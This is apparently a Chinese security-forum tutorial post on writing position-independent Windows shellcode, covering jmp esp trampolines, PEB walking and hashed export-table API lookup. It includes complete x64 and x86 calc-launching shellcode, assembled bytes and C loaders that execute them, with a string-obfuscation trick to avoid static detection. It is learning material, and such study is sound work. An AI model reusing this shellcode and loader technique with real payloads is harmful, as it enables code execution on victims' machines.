首页
社区
课程
招聘
[原创]通用shellcode开发原理与实践
发表于: 2023-4-5 16:57 19400

[原创]通用shellcode开发原理与实践

2023-4-5 16:57
19400

学习来源:0day安全一书

shellcode即一段植入进程的代码。

在实际漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧很有可能会产生”位移“,即shellcode在内存中的地址是动态变化的。因此我们需要找到一个跳板,使得程序的执行流程总是能找到我们的shellcode。

在上一节中verify_password函数返回后栈中的情况如下所示:

图一 栈帧位移示意图
图片描述

图二 溢出发生时栈、寄存器与代码之间的关系

图片描述

一般情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置,如图三。

图三 使用"跳板"的溢出利用流程

图片描述

由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们就可以使用图三所示的这种定位shellcode的方法来进行动态定位。

这种定位shellcode的方法使用进程空间里的一条 jmp esp指令作为"跳板",无论栈帧怎么"位移",都能精确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。

当然这只是一种定位shellcode的方式,还有其他许多种定位shellcode的方式

通过手工查出来的API地址会在其他计算机上失效,在shellcode中使用静态函数地址来调用API会使exploit的额通用性收到很大的限制,所以,实际中使用的shellcode必须还要能动态地获得自身所需的API的函数地址。

Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。Win32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。

几乎所有Win32程序都会加载ntdll.dllkernel32.dll这两个基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的API地址,可以采取如下办法。

64位系统

32位系统

图四 在shellcode中动态定位API的原理
图片描述

x64 弹出计算器shellcode

x86 弹出计算器shellcode

如下所示:
图片描述
图片描述
图片描述

通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。

注意:

这里提供一段简单的 "hash" 算法

源码

编译成功之后,程序正常运行
图片描述

将程序拖入OD,按F9进入程序模块,如图所示:

图片描述

然后从第一行开始,下拉到空白区选中 右键 复制 二进制复制。然后再在010editor中粘贴自 从十六进制文本粘贴。如下图:

图片描述

选中然后复制为c代码

图片描述

这样就得到了我们的shellcode

在程序中运行我们的shellcode。

成功运行,如下所示:

图片描述

漏洞研究小白,目前正在跟着书学习。希望自己能持之以恒。大家一起共勉

 
 
 
 
 
 
 
操作系统: Windows 10 x64
编译器:   vs 2019
操作系统: Windows 10 x64
编译器:   vs 2019
 
 
 
/*
; Get kernel32.dll base address
xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEB
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll
 
; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
 
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable
 
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
 
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable
 
jmp short apis
 
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
 
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller
 
apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address
 
; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax                    ; RSP = "calc.exe",0x0
mov rcx, rsp                ; RCX = "calc.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("calc.exe", SW_HIDE)
 
 
*/
 
#include <windows.h>
void main() {
  void* exec;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;
  // Shellcode
  unsigned char payload[] =
    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x20\x41\xff\xd6";
  unsigned int payload_len = 205;
  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  RtlMoveMemory(exec, payload, payload_len);
  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
  WaitForSingleObject(th, -1);
}
/*
; Get kernel32.dll base address
xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEB
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll
 
; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
 
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable
 
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
 
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable
 
jmp short apis
 
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
 
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller
 
apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address
 
; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax                    ; RSP = "calc.exe",0x0
mov rcx, rsp                ; RCX = "calc.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("calc.exe", SW_HIDE)
 
 
*/
 
#include <windows.h>
void main() {
  void* exec;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;
  // Shellcode
  unsigned char payload[] =
    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x20\x41\xff\xd6";
  unsigned int payload_len = 205;
  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  RtlMoveMemory(exec, payload, payload_len);
  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
  WaitForSingleObject(th, -1);
}
/*
start:                                   
 
   mov   ebp, esp                  ;     prologue
   add   esp, 0xfffff9f0           ;     Add space int ESP to avoid clobbering
 
 
 find_kernel32:                      
   xor   ecx, ecx                  ;     ECX = 0
   mov   esi,fs:[ecx+0x30]         ;     ESI = &(PEB) ([FS:0x30])
   mov   esi,[esi+0x0C]            ;     ESI = PEB->Ldr
   mov   esi,[esi+0x1C]            ;     ESI = PEB->Ldr.InInitOrder
 
 next_module:                        
   mov   ebx, [esi+0x08]           ;     EBX = InInitOrder[X].base_address
   mov   edi, [esi+0x20]           ;     EDI = InInitOrder[X].module_name
   mov   esi, [esi]                ;     ESI = InInitOrder[X].flink (next)
   cmp   [edi+12*2], cx            ;    (unicode) modulename[12] == 0x00 ?
   jne   next_module               ;     No: try next module
 
 find_function_shorten:              
   jmp find_function_shorten_bnc   ;     Short jump
 
 find_function_ret:                  
   pop esi                         ;     POP the return address from the stack
   mov   [ebp+0x04], esi           ;     Save find_function address for later usage
   jmp resolve_symbols_kernel32    ; 
 
 find_function_shorten_bnc:             
   call find_function_ret          ;     Relative CALL with negative offset
 
 find_function:                      
   pushad                          ;     Save all registers
 
   mov   eax, [ebx+0x3c]           ;     Offset to PE Signature
   mov   edi, [ebx+eax+0x78]       ;     Export Table Directory RVA
   add   edi, ebx                  ;     Export Table Directory VMA
   mov   ecx, [edi+0x18]           ;     NumberOfNames
   mov   eax, [edi+0x20]           ;     AddressOfNames RVA
   add   eax, ebx                  ;     AddressOfNames VMA
   mov   [ebp-4], eax              ;     Save AddressOfNames VMA for later
 
 find_function_loop:                 
   jecxz find_function_finished    ;     Jump to the end if ECX is 0
   dec   ecx                       ;     Decrement our names counter
   mov   eax, [ebp-4]              ;     Restore AddressOfNames VMA
   mov   esi, [eax+ecx*4]          ;     Get the RVA of the symbol name
   add   esi, ebx                  ;     Set ESI to the VMA of the current symbol name
 
 compute_hash:                       
   xor   eax, eax                  ;     NULL EAX
   cdq                             ;     NULL EDX
   cld                             ;     Clear direction
 
 compute_hash_again:                 
   lodsb                           ;     Load the next byte from esi into al
   test  al, al                    ;     Check for NULL terminator
   jz    compute_hash_finished     ;     If the ZF is set, we've hit the NULL term
   ror   edx, 0x0d                 ;     Rotate edx 13 bits to the right
   add   edx, eax                  ;     Add the new byte to the accumulator
   jmp   compute_hash_again        ;     Next iteration
 
 compute_hash_finished:             
 
 find_function_compare:             
   cmp   edx, [esp+0x24]           ;     Compare the computed hash with the requested hash
   jnz   find_function_loop        ;     If it doesn't match go back to find_function_loop
   mov   edx, [edi+0x24]           ;     AddressOfNameOrdinals RVA
   add   edx, ebx                  ;     AddressOfNameOrdinals VMA
   mov   cx,  [edx+2*ecx]          ;     Extrapolate the function's ordinal
   mov   edx, [edi+0x1c]           ;     AddressOfFunctions RVA
   add   edx, ebx                  ;     AddressOfFunctions VMA
   mov   eax, [edx+4*ecx]          ;     Get the function RVA
   add   eax, ebx                  ;     Get the function VMA
   mov   [esp+0x1c], eax           ;     Overwrite stack version of eax from pushad
 
 find_function_finished:             
   popad                           ;     Restore registers
   ret                             ; 
 
 resolve_symbols_kernel32:         
  push 0xe8afe98                  ;     WinExec hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x10], eax           ;     Save WinExec address for later usage
  push 0x78b5b983                 ;     TerminateProcess hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x14], eax           ;     Save TerminateProcess address for later usage
 
 create_calc_string:                 
  xor eax, eax                   ;      EAX = null
  push eax                       ;      Push null-terminated string
  push dword 0x6578652e               ;         
  push dword 0x636c6163          ;    
  push esp                       ;      ESP = &(lpCmdLine)
  pop  ebx                       ;      EBX save pointer to string
 
 ; UINT WinExec(
 ; LPCSTR lpCmdLine, -> EBX
 ; UINT   uCmdShow      -> EAX
 ; );
 
 call_winexec:                       
    xor eax, eax                   ;    EAX = null
    push eax                       ;    uCmdShow
    push ebx                       ;    lpCmdLine
    call dword ptr [ebp+0x10]      ;    Call WinExec
 
 ; BOOL TerminateProcess(
 ; HANDLE hProcess,     -> 0xffffffff
 ; UINT   uExitCode     -> EAX
 ; );
 
 terminate_process:                  
    xor eax, eax                   ;    EAX = null
    push eax                       ;    uExitCode
    push 0xffffffff                ;    hProcess
    call dword ptr [ebp+0x14]      ;    Call TerminateProcess
 
 
*/
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// Our WinExec PopCalc shellcode
 
unsigned char payload[] =
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14";
 
 
unsigned int payload_len = 178;
 
int main(void) {
 
    void * exec_mem;
    BOOL rv;
    HANDLE th;
  DWORD oldprotect = 0;
 
    // Allocate a memory buffer for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    // Copy payload to new buffer
    RtlMoveMemory(exec_mem, payload, payload_len);
 
    // Make new buffer as executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
 
    printf("\nHit me!\n");
  printf("Shellcode Length:  %d\n", strlen(payload));
    getchar();
 
    // If all good, run the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }
 
    return 0;
}
/*
start:                                   
 
   mov   ebp, esp                  ;     prologue
   add   esp, 0xfffff9f0           ;     Add space int ESP to avoid clobbering
 
 
 find_kernel32:                      
   xor   ecx, ecx                  ;     ECX = 0
   mov   esi,fs:[ecx+0x30]         ;     ESI = &(PEB) ([FS:0x30])
   mov   esi,[esi+0x0C]            ;     ESI = PEB->Ldr
   mov   esi,[esi+0x1C]            ;     ESI = PEB->Ldr.InInitOrder
 
 next_module:                        
   mov   ebx, [esi+0x08]           ;     EBX = InInitOrder[X].base_address
   mov   edi, [esi+0x20]           ;     EDI = InInitOrder[X].module_name
   mov   esi, [esi]                ;     ESI = InInitOrder[X].flink (next)
   cmp   [edi+12*2], cx            ;    (unicode) modulename[12] == 0x00 ?
   jne   next_module               ;     No: try next module
 
 find_function_shorten:              
   jmp find_function_shorten_bnc   ;     Short jump
 
 find_function_ret:                  
   pop esi                         ;     POP the return address from the stack
   mov   [ebp+0x04], esi           ;     Save find_function address for later usage
   jmp resolve_symbols_kernel32    ; 
 
 find_function_shorten_bnc:             
   call find_function_ret          ;     Relative CALL with negative offset
 
 find_function:                      
   pushad                          ;     Save all registers
 
   mov   eax, [ebx+0x3c]           ;     Offset to PE Signature
   mov   edi, [ebx+eax+0x78]       ;     Export Table Directory RVA
   add   edi, ebx                  ;     Export Table Directory VMA
   mov   ecx, [edi+0x18]           ;     NumberOfNames
   mov   eax, [edi+0x20]           ;     AddressOfNames RVA
   add   eax, ebx                  ;     AddressOfNames VMA
   mov   [ebp-4], eax              ;     Save AddressOfNames VMA for later
 
 find_function_loop:                 
   jecxz find_function_finished    ;     Jump to the end if ECX is 0
   dec   ecx                       ;     Decrement our names counter
   mov   eax, [ebp-4]              ;     Restore AddressOfNames VMA
   mov   esi, [eax+ecx*4]          ;     Get the RVA of the symbol name
   add   esi, ebx                  ;     Set ESI to the VMA of the current symbol name
 
 compute_hash:                       
   xor   eax, eax                  ;     NULL EAX
   cdq                             ;     NULL EDX
   cld                             ;     Clear direction
 
 compute_hash_again:                 
   lodsb                           ;     Load the next byte from esi into al
   test  al, al                    ;     Check for NULL terminator
   jz    compute_hash_finished     ;     If the ZF is set, we've hit the NULL term
   ror   edx, 0x0d                 ;     Rotate edx 13 bits to the right
   add   edx, eax                  ;     Add the new byte to the accumulator
   jmp   compute_hash_again        ;     Next iteration
 
 compute_hash_finished:             
 
 find_function_compare:             
   cmp   edx, [esp+0x24]           ;     Compare the computed hash with the requested hash
   jnz   find_function_loop        ;     If it doesn't match go back to find_function_loop
   mov   edx, [edi+0x24]           ;     AddressOfNameOrdinals RVA
   add   edx, ebx                  ;     AddressOfNameOrdinals VMA
   mov   cx,  [edx+2*ecx]          ;     Extrapolate the function's ordinal
   mov   edx, [edi+0x1c]           ;     AddressOfFunctions RVA
   add   edx, ebx                  ;     AddressOfFunctions VMA
   mov   eax, [edx+4*ecx]          ;     Get the function RVA
   add   eax, ebx                  ;     Get the function VMA
   mov   [esp+0x1c], eax           ;     Overwrite stack version of eax from pushad
 
 find_function_finished:             
   popad                           ;     Restore registers
   ret                             ; 
 
 resolve_symbols_kernel32:         
  push 0xe8afe98                  ;     WinExec hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x10], eax           ;     Save WinExec address for later usage
  push 0x78b5b983                 ;     TerminateProcess hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x14], eax           ;     Save TerminateProcess address for later usage
 
 create_calc_string:                 
  xor eax, eax                   ;      EAX = null
  push eax                       ;      Push null-terminated string
  push dword 0x6578652e               ;         
  push dword 0x636c6163          ;    
  push esp                       ;      ESP = &(lpCmdLine)
  pop  ebx                       ;      EBX save pointer to string
 
 ; UINT WinExec(
 ; LPCSTR lpCmdLine, -> EBX
 ; UINT   uCmdShow      -> EAX
 ; );
 
 call_winexec:                       
    xor eax, eax                   ;    EAX = null
    push eax                       ;    uCmdShow
    push ebx                       ;    lpCmdLine
    call dword ptr [ebp+0x10]      ;    Call WinExec
 
 ; BOOL TerminateProcess(
 ; HANDLE hProcess,     -> 0xffffffff
 ; UINT   uExitCode     -> EAX
 ; );
 
 terminate_process:                  
    xor eax, eax                   ;    EAX = null
    push eax                       ;    uExitCode
    push 0xffffffff                ;    hProcess
    call dword ptr [ebp+0x14]      ;    Call TerminateProcess
 
 
*/
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// Our WinExec PopCalc shellcode
 
unsigned char payload[] =
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14";
 
 
unsigned int payload_len = 178;
 
int main(void) {
 
    void * exec_mem;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 10
支持
分享
最新回复 (1)
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-4-6 00:08
1
游客
登录 | 注册 方可回帖
返回
//